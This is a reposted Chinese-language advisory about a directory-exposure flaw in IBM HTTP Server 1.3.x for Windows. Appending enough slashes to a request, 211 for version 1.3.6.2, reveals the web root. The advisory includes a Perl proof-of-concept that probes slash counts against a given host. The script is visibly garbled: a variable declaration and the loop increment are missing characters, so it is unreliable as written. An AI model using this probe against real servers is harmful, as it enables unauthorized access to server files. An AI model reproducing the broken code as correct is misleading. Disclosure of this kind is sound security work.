IBM HTTP Server 根目录访问漏洞

2008-04-10 03:04:39来源:互联网 阅读 ()

新老客户大回馈,云服务器低至5折

IBM HTTP Server 根目录访问漏洞

发布日期:2000-06-02
更新日期:2000-06-03

受影响系统:

IBM HTTP Server 1.3.6.2 win32
IBM HTTP Server 1.3.3 win32
描述:

特定数目的'/'附加在一个http请求之后,就可以访问www服务器的根目录以及所有子
目录。具体需要多少'/',根据不同的版本和配置而不同。对于
HTTP Server 1.3.6.2 (win32) ,如果http请求后面附加了211个'/',就可以访问到
根目录。

<* 来源: Marek Roy marek_roy@hotmail.com
H D Moore <hdm@secureaustin.com>
*>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


H D Moore <hdm@secureaustin.com> 提供了一个简单的perl脚本以确定究竟需要多少个'/' :

#!/usr/bin/perl

use LWP::Simple;
use strict;

my $host = shift() || die "usage: $ARGV[0] [hostname]";
my $cnt;
my $data;
my $odata;
my $;

$odata = get("http://$host/");
if ($odata eq "")
{
die "no response from server: $host\n";
}
for ($i = 2; $i < 4096; $i )
{
print "Trying $i...\n";
$data = get("http://$host" . ("/" x $i));
if ($data ne $odata)
{
print "/ = $i\n\n$data\n\n";
exit;
}
}



建议:
暂无

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

上一篇:Allegro RomPager 异常URL请求拒绝服务攻击

下一篇:Sambar Server 4.3 缓冲区溢出漏洞